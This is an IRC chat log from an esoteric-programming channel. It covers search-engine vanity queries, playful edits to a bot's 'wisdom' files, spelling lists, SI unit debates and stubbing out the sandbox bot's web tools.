18:25:59 <\oren\> didn't you wrk for google
18:26:41 <\oren\> how do I make my page show up better when someone searches for "Oren Watson"
18:26:58 <shachaf> Not on search, and if I had any nonpublic information about that I certainly couldn't say it.
18:26:59 <izabera> make interesting content that people will share
18:27:20 <shachaf> I think that's the official line, yes.
18:28:03 <\oren\> ARGH, how can I beat a character from a tv show? ARGH
18:28:36 <izabera> ask a pornstar to tattoo your url on her butt
18:28:50 <\oren\> hmmm that's not a bad idea
18:29:41 <shachaf> Oh, there's a character on a television show?
18:29:51 <shachaf> Better to just change your name. Hope that helps.
18:30:17 <izabera> become a pornstar and tattoo your url on your own butt
18:30:48 <izabera> srsly that's gonna be a revolutionary medium
18:32:09 <int-e> get your name changed
18:32:21 <myname> becoming a pornstar also might increase your popularity without the tattoo
18:32:36 <int-e> . o O ( /nick shachaf2 )
18:32:52 <\oren\> myname: lol as if anyone bothers remembering the names of male pornstars
18:34:01 <b_jonas> \oren\: get a female pornstar become famous under the name Oren Watson and tattoo the url to her butt?
18:34:38 <int-e> . o O ( google: Oren Watson -TV ... --> http://www.legacy.com/obituaries/name/oren-watson-obituary?pid=1000000166005650 )
18:35:04 <\oren\> Oren "Bubby" Watson, age 66, of Piave
18:35:24 <b_jonas> \oren\: but yes, getting your name changed to something searchable is usually easier
18:35:58 <b_jonas> \oren\: I have a very unusual surname, one that I share with only about a dozen people, all of whom I'm distantly related to, so that happens to be quite searchable
18:36:13 <int-e> \oren\: I gathered that you're not dead either. In any case, I think I find a few hits for you on the first two pages with that query. Fonts. Soundhound.
18:36:18 <b_jonas> the internet is still small enoguh that you can come up with not too long words that are mostly unique to you
18:36:45 <Taneb> Like "raleighgator"
18:39:14 <\oren\> oren watson programmer gets to me
18:39:50 <b_jonas> \oren\: note that what google finds depends a LOT on the interface language ("hl" query parameter) and lots of other not very obvious variables
18:40:10 <b_jonas> many of which are harder to control than the interface language
18:40:27 <myname> what does oren watson sex god lead to?
18:41:18 <\oren\> `google oren watson sex god
18:41:21 <HackEgo> Failed to connect to socket 2. \ \ Looking up 127.0.0.1:3128 \ Making HTTP connection to 127.0.0.1:3128 \ Sending HTTP request. \ HTTP request sent; waiting for response. \ Alert!: Unexpected network read error; connection aborted. \ Can't Access `http://google.com/search?q=%6f%72%65%6e%20%77%61%74%73%6f%6e%20%73%65%78%20%67%6f%64' \ Alert!: Unabl
18:41:51 <\oren\> @google oren watson sex god
18:41:54 <lambdabot> http://bakerstreet.wikia.com/wiki/Oren_Watson
18:41:54 <lambdabot> Title: Oren Watson | Baker Street Wiki | Fandom powered by Wikia
18:42:30 <int-e> well, that was a better result than I feared.
18:42:31 <Taneb> \oren\, I have a similar problem, "Oren Watson" gives no hits for me whatsoever
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18:43:08 <Taneb> This may be because I have a completely different name
18:45:10 <lambdabot> https://en.wiktionary.org/wiki/triq
18:45:58 <HackEgo> A trick learnt is a trick half forgotten.
18:46:08 <HackEgo> prcorastination//The Prcorastination is detsined to ruel the wolrd... rihgt afetr wacthing thsi lats funny cat clpi on yotuube.
18:46:22 <HackEgo> gotsak//The gotsak ditsims the dohses.
18:47:13 <HackEgo> The gostak distims the doshes.
18:47:42 <int-e> `? procrastination
18:47:43 <HackEgo> The Procrastination is destined to rule the world... right after watching this last funny cat clip on youtube.
18:50:11 <b_jonas> ``` echo wisdom/[pP][rR][oO]*
18:50:12 <HackEgo> wisdom/procrasti wisdom/procrastination wisdom/program wisdom/programmer's googol wisdom/programmers knowing what they're doing wisdom/prography wisdom/progres wisdom/progress bar wisdom/promise problem wisdom/pronounceable c wisdom/prooftechnique wisdom/protocol
18:50:26 <HackEgo> The Procrasti were an ancient people whose nation would have been a great empire if they'd ever got around to it.
18:50:32 <HackEgo> A programmer's googol is equal to 10^100, or 110
18:50:49 <b_jonas> ``` cat wisdom/pro*knowing
18:50:51 <HackEgo> cat: wisdom/pro*knowing: No such file or directory
18:50:52 <b_jonas> ``` cat wisdom/pro*knowing*
18:50:53 <HackEgo> Programmers knowing what they're doing is a hypothetical alien race invoked to justify keeping horrendous traps in programming languages.
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18:51:10 <HackEgo> Progress has been made today. It was invented by Taneb.
18:51:21 <LKoen> in binary, 10^100 = 10000
18:51:34 <b_jonas> LKoen: binary and the hat means xor
18:51:51 <HackEgo> <fizzie> ▏ ▎ ▍ ▌ ▋ ▊ ▉ █ hth
18:51:57 <HackEgo> A promise problem is one that happens because you promise too much. Their reduction to NP is p. difficult.
18:52:25 <LKoen> I live in France and our politicians never seem to have a problem about promising too much
18:52:40 <HackEgo> protocol is not to be confused with protocoal
18:55:26 <HackEgo> 162) <elliott> So it's not exactly trivial. [Later about same thing] <elliott> It's a trivial C program :P \ 177) <zzo38> Maybe they should just get rid of Minecraft. If more people want it someone can make using GNU GPL v3 or later version, with different people, might improve slightly. \ 409) <monqy> rest in peace lambdabot???? <ais523> monqy: i
18:55:38 <\oren\> protocoal is another word for a tropical forest
18:56:09 <HackEgo> 790) <elliott> this sounds sort of like @ kmc <kmc> well @ is the least upper bound of all ideas in computer science
18:56:19 <HackEgo> 865) <fizzie> fungot: Are you the previous version of zzo38? <fungot> fizzie: i run some interactive tex programs
18:56:35 <HackEgo> 613) <CakeProphet> but yeah the caliphates expanded their empire by conquering people and then forcing them to either convert to Islam or die. [...] <oerjan> i thought it was sort of, convert to islam or pay extra taxes, but i guess it varied a lot.
18:56:50 <HackEgo> 346) <elliott_> I'm not even going to try and understand what you're proposing. <oerjan> i understand it perfectly. it's completely nuts.
18:56:58 <HackEgo> 514) <elliott> When the moon hits your eye like a big pizza pie, that's a monad.
18:57:12 <HackEgo> 1238) <Taneb> Could we achieve SETI with only naive set theory?
18:57:21 <Taneb> I had a point with that one, can anyone remember what it was
18:59:02 <HackEgo> 384) <Taneb> Turned out he got recursion, he just didn't get the return statement \ 390) <Taneb> Cut to February <Taneb> War were declared <Taneb> A galaxy in turmoil <Taneb> Anyway, Febuary '10 \ 391) <Taneb> I can't afford one of those! <Taneb> A grandchild, not a laser printer \ 397) <fizzie> There's that saying that the definition of insani
18:59:50 <HackEgo> 1242) <ais523> hppavilion1: there's not much point in `addquoting an `addquote unless the person who added it was somehow significant, or there's interesting context <ais523> because you can tell it was added from the fact that it's there \ 1253) <shachaf> What is an esolang? <hppavilion[1]> shachaf: It's an archaic term for an Esolang \ 1254) <h
19:00:54 <\oren\> https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf is a dead link
19:01:31 <\oren\> @tell boily https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf is a dead link
19:04:46 <\oren\> https://www.youtube.com/watch?v=sCxv3-3344o
19:07:12 <b_jonas> `slashlearn ance//Spelling of -ance/-ence words: advance, science, conference, experience, finance, insurance, licence, performance, reference, assistance, balance, defence, difference, distance, evidence, acceptance, appliance, audience, compliance, importance, influence, instance, intelligence, maintenance, preference, presence, sentence, sequence, substance, violence, absence, accordance, alliance, appearance, assurance, attendance, circumstance, clea
19:07:14 <HackEgo> Learned 'ance': Spelling of -ance/-ence words: advance, science, conference, experience, finance, insurance, licence, performance, reference, assistance, balance, defence, difference, distance, evidence, acceptance, appliance, audience, compliance, importance, influence, instance, intelligence, maintenance, preference, presence, sentence, sequence,
19:07:21 <HackEgo> Spelling of -ance/-ence words: advance, science, conference, experience, finance, insurance, licence, performance, reference, assistance, balance, defence, difference, distance, evidence, acceptance, appliance, audience, compliance, importance, influence, instance, intelligence, maintenance, preference, presence, sentence, sequence, substance, viol
19:08:08 <Taneb> Because people keep forgetting how to spell viol
19:08:21 <b_jonas> `perl -e open$I,"<","wisdom/ance";$/=();print substr<$I>,0,300;
19:08:21 <HackEgo> Spelling of -ance/-ence words: advance, science, conference, experience, finance, insurance, licence, performance, reference, assistance, balance, defence, difference, distance, evidence, acceptance, appliance, audience, compliance, importance, influence, instance, intelligence, maintenance, prefere
19:08:42 <myname> i find them pretty easy, but that may be because i'm german
19:08:42 <b_jonas> myname: in these words, the last syllable is a schwa, and it's completely random how it's spelled
19:09:02 <myname> in german, you actually hear the difference
19:09:08 <b_jonas> I find some of them easy, but some hard. I often misspell existence, appearance, maintenance
19:09:37 <b_jonas> `perl -e open$I,"<","wisdom/ance";$/=();print substr<$I>,0,400;
19:09:38 <HackEgo> Spelling of -ance/-ence words: advance, science, conference, experience, finance, insurance, licence, performance, reference, assistance, balance, defence, difference, distance, evidence, acceptance, appliance, audience, compliance, importance, influence, instance, intelligence, maintenance, preference, presence, sentence, sequence, substance, viol
19:09:45 <b_jonas> `perl -e open$I,"<","wisdom/ance";$/=();print substr<$I>,400;
19:09:46 <HackEgo> ssurance, attendance, circumstance, clea
19:09:49 <b_jonas> `perl -e open$I,"<","wisdom/ance";$/=();print substr<$I>,300;
19:09:50 <HackEgo> nce, presence, sentence, sequence, substance, violence, absence, accordance, alliance, appearance, assurance, attendance, circumstance, clea
19:10:15 <myname> i never got how people have a hard time with such things
19:10:18 <b_jonas> ``` >wisdom/ance echo 'rance, confidence, consequence, entrance, excellence, existence, fragrance.'
19:10:26 <HackEgo> rance, confidence, consequence, entrance, excellence, existence, fragrance.
19:10:35 <b_jonas> ``` >>wisdom/ance echo 'rance, confidence, consequence, entrance, excellence, existence, fragrance.'
19:10:40 <HackEgo> Spelling of -ance/-ence words: advance, science, conference, experience, finance, insurance, licence, performance, reference, assistance, balance, defence, difference, distance, evidence, acceptance, appliance, audience, compliance, importance, influence, instance, intelligence, maintenance, preference, presence, sentence, sequence, substance, viol
19:10:49 <b_jonas> `perl -e open$I,"<","wisdom/ance";$/=();print substr<$I>,300;
19:10:50 <HackEgo> nce, presence, sentence, sequence, substance, violence, absence, accordance, alliance, appearance, assurance, attendance, circumstance, clea \ rance, confidence, consequence, entrance, excellence, existence, fragrance.
19:12:00 <b_jonas> `perl -e open$I,"<","wisdom/ance";$/=();$_=<$I>=~s/\n//;open$O,">","wisdom/ance";print$O$_;
19:12:01 <HackEgo> Scalar found where operator expected at -e line 1, near "$O$_" \ (Missing operator before $_?) \ Can't modify <HANDLE> in substitution (s///) at -e line 1, near "s/\n//;" \ Execution of -e aborted due to compilation errors.
19:12:06 <b_jonas> `perl -e open$I,"<","wisdom/ance";$/=();$_=<$I>=~s/\n//;open$O,">","wisdom/ance";print$O $_;
19:12:06 <HackEgo> Can't modify <HANDLE> in substitution (s///) at -e line 1, near "s/\n//;" \ Execution of -e aborted due to compilation errors.
19:12:18 <HackEgo> Spelling of -ance/-ence words: advance, science, conference, experience, finance, insurance, licence, performance, reference, assistance, balance, defence, difference, distance, evidence, acceptance, appliance, audience, compliance, importance, influence, instance, intelligence, maintenance, preference, presence, sentence, sequence, substance, viol
19:12:29 <b_jonas> `perl -e open$I,"<","wisdom/ance";$/=();$_=<$I>=~s/\n//r;open$O,">","wisdom/ance";print$O $_;
19:12:35 <HackEgo> Spelling of -ance/-ence words: advance, science, conference, experience, finance, insurance, licence, performance, reference, assistance, balance, defence, difference, distance, evidence, acceptance, appliance, audience, compliance, importance, influence, instance, intelligence, maintenance, preference, presence, sentence, sequence, substance, viol
19:12:45 <b_jonas> `perl -e open$I,"<","wisdom/ance";$/=();print substr<$I>,300;
19:12:45 <HackEgo> nce, presence, sentence, sequence, substance, violence, absence, accordance, alliance, appearance, assurance, attendance, circumstance, clearance, confidence, consequence, entrance, excellence, existence, fragrance.
19:13:06 <b_jonas> most of those words are easy, but I can't tell in advance which ones are hard for people
19:16:02 <Taneb> I... I've lived in English speaking languages all my life and I have no idea how "bough" is pronounced
19:16:07 <Taneb> Rhymes with "ow"??
19:16:22 <LKoen> you have lived in English speaking languages???
19:16:27 <LKoen> I didn't even know languages could speak
19:16:30 <b_jonas> `perl -e {open$I,"<","wisdom/ance";$/=();$_=<$I>=~s/( fragrance)/$1, governance, guidance, independence, offence, refinance, residence, resistance, romance./r;open$O,">","wisdom/ance";print$O $_;}
19:16:33 <Taneb> LKoen, yes, it's quite odd
19:16:35 <LKoen> though I did suspect you were a concept rather than a person
19:16:37 <b_jonas> `perl -e open$I,"<","wisdom/ance";$/=();print substr<$I>,300;
19:16:38 <HackEgo> nce, presence, sentence, sequence, substance, violence, absence, accordance, alliance, appearance, assurance, attendance, circumstance, clearance, confidence, consequence, entrance, excellence, existence, fragrance, governance, guidance, independence, offence, refinance, residence, resistance, romance..
19:16:43 <Jafet> though “ough” is thoroughly tough, most other fragments throughout english ought to be more regular
19:16:56 <Taneb> Jafet, it is a slight hiccough in the language
19:16:58 <b_jonas> `perl -e {open$I,"<","wisdom/ance";$/=();$_=<$I>=~s/( romance).*/$1./r;open$O,">","wisdom/ance";print$O $_;}
19:17:02 <b_jonas> `perl -e open$I,"<","wisdom/ance";$/=();print substr<$I>,300;
19:17:03 <HackEgo> nce, presence, sentence, sequence, substance, violence, absence, accordance, alliance, appearance, assurance, attendance, circumstance, clearance, confidence, consequence, entrance, excellence, existence, fragrance, governance, guidance, independence, offence, refinance, residence, resistance, romance.
19:17:22 <rdococ> `le//rn ough//Ough is equivalent to any and every possible VC syllable.
19:17:23 <b_jonas> rdococ: I have a mostly complete list of those too, at https://en.wiktionary.org/wiki/User:B_jonas
19:17:25 <HackEgo> Learned 'ough': Ough is equivalent to any and every possible VC syllable.
19:17:30 <LKoen> Jafet: should we laugh at that?
19:18:01 <HackEgo> Spelling of -ance/-ence words: advance, science, conference, experience, finance, insurance, licence, performance, reference, assistance, balance, defence, difference, distance, evidence, acceptance, appliance, audience, compliance, importance, influence, instance, intelligence, maintenance, preference, presence, sentence, sequence, substance, viol
19:18:24 <HackEgo> 2/2:ubstance, violence, absence, accordance, alliance, appearance, assurance, attendance, circumstance, clearance, confidence, consequence, entrance, excellence, existence, fragrance, governance, guidance, independence, offence, refinance, residence, resistance, romance.
19:18:51 * rdococ personally hates autum
19:19:28 <rdococ> but I personally don't dans well myself
19:19:34 <b_jonas> rdococ: I hate "autumn". the word, because I can't spell it. it's on my list at https://en.wiktionary.org/wiki/User:B_jonas#Some_words_of_which_I_need_to_learn_the_spelling
19:19:59 <rdococ> b_jonas, from now on I will name it autumm, like dilemma
19:20:30 <Jafet> LKoen: what? sounds smoulderingly haughty
19:20:49 <b_jonas> shachaf: yes, I specifically removed ones like "dance, glance, fence, trance" that aren't pronounced with a schwa. those have the stress on the ance or ence syllable, so it's easy to guess the spelling from the pronunciation
19:21:10 <b_jonas> obviously this isn't a complete list, but I don't want to make the wisdom entry too long
19:21:26 <b_jonas> many of the hard to spell ones would come later in the list
19:21:27 <shachaf> But it's already too long.
19:22:09 <b_jonas> correspondence is another tricky one
19:22:56 <b_jonas> (next ones would be: allowance, commence, competence, convenience, correspondence, essence, freelance, incidence, occurrence, ordinance, providence, relevance, renaissance, significance, silence, surveillance, tolerance, variance,
19:23:29 <b_jonas> abundance, ambulance, conscience, consistence, convergence, dependence, dependance, disturbance, elegance, emergence, evanescence, grievance, ignorance, inference, inheritance, interference, issuance, negligence, patience, prevalence, reliance, resonance, stance,
19:23:43 <b_jonas> what's the difference between dependence and dependance?
19:23:52 <shachaf> allowence, commance, competance, conveniance, correspondance, essance, freelence, incidance, occurrance, ordinence, procidance, relevence, renaissence, significence, silance, surveillence, tolerence, varience
19:24:55 <b_jonas> apparently dependance is the same as dependence, and dependence is the more frequent spelling
19:26:25 <b_jonas> "autumn" is one of those rare words where the French spelling looks way better as an English spelling than the actual English spelling
19:28:56 <\oren\> b_jonas: in my country we jsut call it fall
19:29:08 <\oren\> spring summer fall winter
19:29:19 <shachaf> They're called leaves because they leave the trees in the fall. Which is why it's called fall.
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19:38:50 <LKoen> She eats shoots and leaves
19:39:18 <LKoen> you didn't explain why they were called trees
19:39:40 <shachaf> I didn't read the book that quote is from.
19:45:42 <Jafet> but why is the previous season called summer? it doesn't add up
19:47:47 <b_jonas> hehe. it's funny when an old text mentions something really old and well-known and calls it "new" because it was new back then
19:50:51 <b_jonas> Jafet: isn't that because it was discovered by the sumers, who lived in a warm place where it was always summer?
19:51:21 <b_jonas> or maybe because that's when you see adders the most often, and the sum of many adders is a summer.
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20:44:47 <\oren\> Ok, I've seen people called hitler, but I've never seen someone call someone else "Marshal Phibun" befroe
20:44:53 <\oren\> http://www.unicode.org/mail-arch/unicode-ml/y2017-m04/0074.html
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22:29:15 <shachaf> thousand kibibytes per second
22:29:26 <hppavilion[1]> shachaf: That's... 1024000 bytes per secon- whoo! I was right!
22:30:06 <hppavilion[1]> (I will accept the binary prefixes iff I can apply them to things other than data)
22:30:34 <hppavilion[1]> ("How far away is that vaguely phallic obelisk?" "4 Kim")
22:30:36 <shachaf> Acceleration from the earth's gravity is about 9.8 m HzHz
22:31:09 <shachaf> It's probably about that even somewhat far from sea level.
22:31:42 * hppavilion[1] . o O ( Isn't charge a better base dimension than current? )
22:32:20 <quintopia> hppavilion[1]: i agree. i've thought the same many times. i figure someday the SI people will switch from A to C as the base unit
22:32:28 <hppavilion[1]> shachaf: The acceleration from earth's gravity is 0 m HzHz at the center of the earth
22:32:57 <hppavilion[1]> quintopia: Or we'll have a French Revolution-style uprising and replace SI
22:33:01 <shachaf> mHzHz is unfortunately ambiguous.
22:33:10 <shachaf> Is it milliherzhertz or metrehertzhertz?
22:33:31 <quintopia> you need a center dot to make the latter
22:34:27 <hppavilion[1]> shachaf: I've noticed that 'm' is a rather overloaded symbol
22:34:48 <quintopia> but i think m/s² is clearer for common usage than m-dot-Hz-dot-Hz
22:35:01 <hppavilion[1]> I try to avoid using it to mean 'mass' because it's already pretty ambiguous
22:36:19 <shachaf> There is no encoding but ASCII.
22:36:27 <hppavilion[1]> The only way you can really distinguish between "milliwhatevres" and "metres-by-whatevres" is dimensions; if you're told the force is "3 mN", you know it isn't a Newton-metre because it's force and not energy
22:37:50 <hppavilion[1]> U+0084 COMBINING GHOST INSIDE SOUL is the character for possessions
22:38:28 <shachaf> pikhq: I half-agree with UTF-8.
22:38:31 <hppavilion[1]> pikhq: ITYM whatever my superior-to-encoding is called whenever I get around to cooking that up.
22:38:34 <shachaf> The first 128 bytes are good.
22:38:52 <hppavilion[1]> shachaf: But what is your opinion on the range 0x80..0xFF?
22:39:09 <HackEgo> 1134) <shachaf> A Swede who was in #esoteric / Thought his rhymes were a little generic. / "I might use, in my prose, / ꙮs, / But my poetry's alphanumeric."
22:39:12 <pikhq> TIL French is scow.
22:39:37 <shachaf> ISO-8859-1 is OK, I guess.
22:39:52 <shachaf> Wait, no, ISO-8859-1 has center dot, doesn't it.
22:41:55 <hppavilion[1]> [Sidenote: whenever I make a lexer and parser, I define the sub-regex of INT for matching hex as /0x([0-9a-f]+|[0-9A-F]+)/ since using mixed case in your hex literals is an abomination]
22:42:36 <hppavilion[1]> One of the things I've done with my keyboard is implement this absurd sort of keyboard-swap mechanism
22:43:17 <hppavilion[1]> ctrl+left and ctrl+right cycle through keyboards; kb = 0 means no changes, kb = 1 is my default keyboard which is activated on launch, kb = 2 is greek
22:46:46 <hppavilion[1]> (Planned keyboards: 3:math, 4:Symbol, 5:Arrows, 6:box drawing, 7:Hebrew, 8:Cyrillic, 9:arabic, 10:math 2, 11: math 3, 12: symbol 2, 13: symbol 3)
22:47:05 <hppavilion[1]> I'm sure that was going somewhere, but I've forgot where that is.
22:47:20 <\oren\> I think the base units should be changed so that the speed of light is exactly 300 Mm/s
22:48:15 <hppavilion[1]> \oren\: Or, well, SI should create alternative sets of units that get grouped together (you choose one set and only use the equivalent units for that one)
22:49:03 <\oren\> and so that the kg is such that Newton's constant is exactly 2/3 * 10 ^ -11
22:49:57 <quintopia> goodbye for a few minutes or more. don't do anything interesting while i'm away.
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22:51:13 <hppavilion[1]> \oren\: Met[er]{2}s wouldn't change so that long ass-distances wouldn't need their signs remarked, but the alternative set would include nice sciencey units
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22:52:24 <hppavilion[1]> (If we just changed meters, a km would become an astounding 3‱ shorter!
22:52:40 <hppavilion[1]> (I'm assuming that we are NOT fucking changing seconds because we worked hard on those dammit)
22:53:02 <hppavilion[1]> \oren\: I'd also like kg to be the base scale for mass, having no prefix
22:53:47 <hppavilion[1]> quintopia: Yeah, but our computers can keep track of individual microseconds from the couch.
22:54:42 <hppavilion[1]> \oren\: Because as it is, everything is defined in terms of kilograms (exempli gratia 1 N = 1 kg*m/s^2), but it's presented as if it's 1000× the base for mass
22:56:00 <\oren\> well before they had the cgs system where instead they had centimetres
22:56:19 <hppavilion[1]> It should just have an atomic name. If it was "lard" (l) (yes, like fat), then a normal gram would be "ml", a milligram would be μl, a metric ton would be kl, etc.
22:57:11 <\oren\> well why not use metres, tons, seconds
22:58:00 <zzo38> I don't like "tonnes" and "metric tons"; "megagram" is a better name for that unit.
22:58:10 <zzo38> Use "tons" to refer to the non-metric unit
22:59:02 <\oren\> a car weighs 1 ton and travels at 30 metres per second
23:00:14 <\oren\> it contains therefore, 600 ton metre squared per second per second of energy
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23:01:40 <\oren\> serves me right for trying to head-math
23:03:39 <\oren\> alternately, a car weighs 1 Mg and travels at 100 km/h
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23:04:16 <boily> he\\oren\. feeling unital?
23:04:22 <lambdabot> \oren\ said 4h 2m 50s ago: https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf is a dead link
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23:05:21 -!- boily has set topic: Motivation: N/A | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://www.dropbox.com/s/fyhqyvy3i8oh25m/wisdom.pdf?dl=0 | For extensive phở testing, use #esoteric-blah.
23:05:38 <\oren\> one could also use such abberant units as the ton-force
23:06:00 <boily> should be working now!
23:06:08 <fungot> boily: " or do i have to wash dishes. if you can
23:06:19 <boily> fungot: yes, I can, and I have to. I hate washing dishes.
23:06:29 <boily> fungot: yup. never quite got to learn it.
23:06:29 <fungot> boily: good enough? that uses vectors, and those all provide quite nasty constraints for the other language modes.... befunge you could do
23:09:33 -!- boily has set topic: Home of your favourite brainfuck derivative! | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://www.dropbox.com/s/fyhqyvy3i8oh25m/wisdom.pdf?dl=0 | For extensive phở testing, use #esoteric-blah.
23:10:25 <int-e> boily: did you see https://www.youtube.com/watch?v=uNjxe8ShM-8 ... that's where the motivation came from
23:10:49 <boily> int-ello. let's watch that...
23:13:07 -!- boily has set topic: Motivation: N/A | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://www.dropbox.com/s/fyhqyvy3i8oh25m/wisdom.pdf?dl=0 | For extensive phở testing, use #esoteric-blah.
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23:48:38 <hppavilion[1]> \oren\: At one point, I defined the customary unit of force (treating pounds as the unit of mass) as 1 pound-yard per second squared, or the Kenobi.
23:49:23 <hppavilion[1]> I later decided Kenobi was N/s, since it measures change (NRBFTJWSII-AKA disturbance) in force.
23:50:24 <hppavilion[1]> Tarkins (Gr) measure Ob/s- how much disturbance is in the force
23:51:31 <boily> hppavellon[1]. is it measuring flux?
23:51:43 <boily> fungot: what the fungot is a NRBFTJWSII?
23:52:45 <fungot> hppavilion[1]: so the implementation can do. if i
23:53:04 <boily> did you just call me a CHICKEN?
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23:54:08 <hppavilion[1]> boily: fungot is angry at you. What did you do to upset fnem?
23:54:08 <fungot> hppavilion[1]: but what's really strange is happening with sinatra
23:55:08 <boily> fungot is only thinking.
23:55:08 <fungot> boily: the problem with sunscreen being greasy, then? i don't folow what you're trying to remove nested combinations by adding this to your teacher: the internet is
23:55:47 <int-e> fungot has a twisted mind
23:55:47 <fungot> int-e: now it's there. just start up external darcs processes!"
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00:36:13 <HackEgo> 4348:2014-01-18 <oerjän> mv wisdom/issue{s,}
00:36:25 <HackEgo> 4348:2014-01-18 <oerjän> mv wisdom/issue{s,} \ 4347:2014-01-17 <int-̈e> ` ln -s .doorstop wisdom/issues
00:36:31 <shachaf> hg has an option to follow renames, or something like that.
00:37:01 <HackEgo> 0:2012-02-16 Initïal import.
00:37:14 <HackEgo> lrwxrwxrwx 1 5000 0 9 Oct 28 18:38 wisdom/issue -> .doorstop
00:44:19 <oerjan> int-e: well only you can tell why you made that link
00:46:15 <HackEgo> cat: /etc/issue: No such file or directory
00:46:51 <int-e> apparently, that's how it started 3 years ago.
00:48:45 <HackEgo> bin/google: Bourne-Again shell script, ASCII text executable
00:48:51 <HackEgo> #!/bin/bash \ if [ ! "$1" ] \ then \ echo 'Google what?' \ exit 1 \ fi \ \ QUERY=`echo -n "$1" | od -t x1 -A n -w1000 | tr " " %` \ \ lynx --cfg=/dev/null --lss=/dev/null \ \ --dump --width=1000 'http://google.com/search?q='"$QUERY" | \ grep -A 4 'Search Results' | \ tail -n 2
00:49:11 <int-e> And I guess I had just discovered the .doorstop file. *shrugs*
00:50:36 <HackEgo> bin/google:lynx --cfg=/dev/null --lss=/dev/null \ \ bin/etymology:lynx --cfg=/dev/null --lss=/dev/null \ \ bin/define:lynx --cfg=/dev/null --lss=/dev/null \
00:51:50 <oerjan> `mkx bin/lynx//echo "Sorry, HackEgo's sandbox currently has no web access." >&2
00:51:57 <HackEgo> Sorry, HackEgo's sandbox currently has no web access.
00:52:32 <HackEgo> Binary file bin/luac matches \ Binary file bin/macro matches \ Binary file bin/jq matches \ Binary file bin/lua matches \ Binary file bin/units matches
00:54:09 <HackEgo> bin/sprunge:"$@" | curl -s -F 'sprunge=<-' http://sprunge.us \ Binary file bin/tclkit matches \ bin/translatefromto:curl -e http://codu.org/ http://ajax.googleapis.com/ajax/services/language/translate \
00:55:15 <oerjan> `which curl; which wget
00:55:22 <oerjan> `` which curl; which wget
00:55:23 <HackEgo> /usr/bin/curl \ /usr/bin/wget
00:56:10 <oerjan> `sled bin/lynx//1i#!/bin/bash
00:56:12 <HackEgo> bin/lynx//#!/bin/bash \ echo "Sorry, HackEgo's sandbox currently has no web access." >&2
00:56:46 <oerjan> since it might be called from non-bash programs, it might need the hashbang
00:57:39 <oerjan> `` cd bin; cp lynx wget; cp lynx curl
00:57:56 <oerjan> that should about cover it
00:58:33 <HackEgo> This google api no longer exists.
00:58:51 <HackEgo> #!/bin/bash \ exec translatefromto "auto en $1"
00:59:00 <oerjan> `cat bin/translatefromto
00:59:00 <HackEgo> #!/bin/bash \ echo "This google api no longer exists."; exit 1 \ TEXT="$1" \ FROM=`echo "$TEXT" | sed 's/ .*$//'` \ TEXT=`echo "$TEXT" | sed 's/^[^ ]* //'` \ TO=`echo "$TEXT" | sed 's/ .*$//'` \ TEXT=`echo "$TEXT" | sed 's/^[^ ]* //'` \ if [ "$FROM" = "auto" ] ; then FROM="" ; fi \ \ curl -e http://codu.org/ http://ajax.googleapis.com/ajax/serv
01:00:01 <oerjan> `sled bin/lynx//2aexit 1
01:00:03 <HackEgo> bin/lynx//#!/bin/bash \ echo "Sorry, HackEgo's sandbox currently has no web access." >&2 \ exit 1
01:00:13 <oerjan> `` cd bin; cp lynx wget; cp lynx curl
01:01:19 <oerjan> `slwd bin/wget//2,$cexec $HACKENV/bin/lynx
01:01:25 <oerjan> `sled bin/wget//2,$cexec $HACKENV/bin/lynx
01:01:27 <HackEgo> bin/wget//#!/bin/bash \ exec $HACKENV/bin/lynx
01:01:48 <oerjan> `` cd bin; cp wget curl
01:17:19 -!- sleffy has quit (Ping timeout: 260 seconds).
01:18:27 -!- h0rsep0wer has quit (Quit: Leaving).
01:34:23 <HackEgo> amphiboily//Amphiboily is Franglish grammatical hambiguity, rewarded with a mapole.
01:45:21 <lambdabot> Local time for sdhand is Sat Apr 22 01:45:16
01:46:54 <boily> should I wish you bon matin, güten morgen, or something entirely different?
01:50:52 <sdhand> güten morgen will suffice I should htink
01:53:33 <HackEgo> 1/4:ts//TS is Twilight Struggle, another name for the Cold War. For many years, it was the highest-rated entry on WarGeek.com. \ tmp//tmp/ is a directory for files that are not worth saving in HackEgo history, but which should still outlive a single command. NOTE: It interacts funnily with HackEgo's lock and re-run commit check; files
01:53:58 <HackEgo> 9160:2016-10-05 <int-̈e> ` mv wisdom/t{,s}
01:54:01 <HackEgo> 2/4: can DISAPPEAR if you don't know what you're doing. Basically, don't modify files inside and outside tmp/ in the same HackEgo command. \ hfs//You have discovered an eerie cavern. The air above the dark stone floor is alive with vortices of purple light and dark, boiling clouds. Seemingly bottomless pits mark the surface. \ welc
01:54:13 <HackEgo> 3/4:ome.nb//Hei og velkommen til det internasjonale knutepunktet for esoterisk programmeringsspråkdesign og -utrulling! For mer informasjon, se wikien vår: <http://esolangs.org/>. (For den andre typen esoterisme, prøv #esoteric på EFnet eller DALnet.) \ baby shower//Thanks to baby showers, the incidence of baby throwing injuries has g
01:54:13 <HackEgo> 9160:2016-10-05 <int-̈e> ` mv wisdom/t{,s} \ 9159:2016-10-05 <alercäh> learn TS is Twilight Struggle, another name for the Cold War. For many years, it was the highest-rated entry on WarGeek.com.
01:54:37 <HackEgo> ravnica: city of guilds//Ravnica: City of Guilds is a city of guilds. “City of Guilds” is part of its name. The Wizards of the Coast Marketing Department: We Sell Anything thought players might not notice it was a City of Guilds unless they put the tagline into the name.
01:55:13 <HackEgo> 7958:2016-05-08 <oerjän> ` le/rn "hfs//"`hfs` \ 7959:2016-05-08 <oerjän> ` le/rn "hfs/"`hfs` \ 7960:2016-05-08 <zzo3̈8> ` le/rn "hfs/`hfs`" # Maybe this way better? \ 10045:2016-12-30 <boil̈y> slwd hfs//s/aboe/above/ \ 10046:2016-12-30 <boil̈y> slwd hfs//s/\\bith/with/ \ 10047:2016-12-30 <oerjän> slwd hfs//s/bottem/bottom/
01:55:15 <shachaf> `cwlprits ravnica: city of guilds
01:55:43 <shachaf> b_jonas: This is a game called Magic: The Gathering
01:56:19 <shachaf> b_jonas: Where does it say that the name of the city is Ravnica: City of Guilds?
01:56:59 -!- Phantom_Hoover has quit (Ping timeout: 260 seconds).
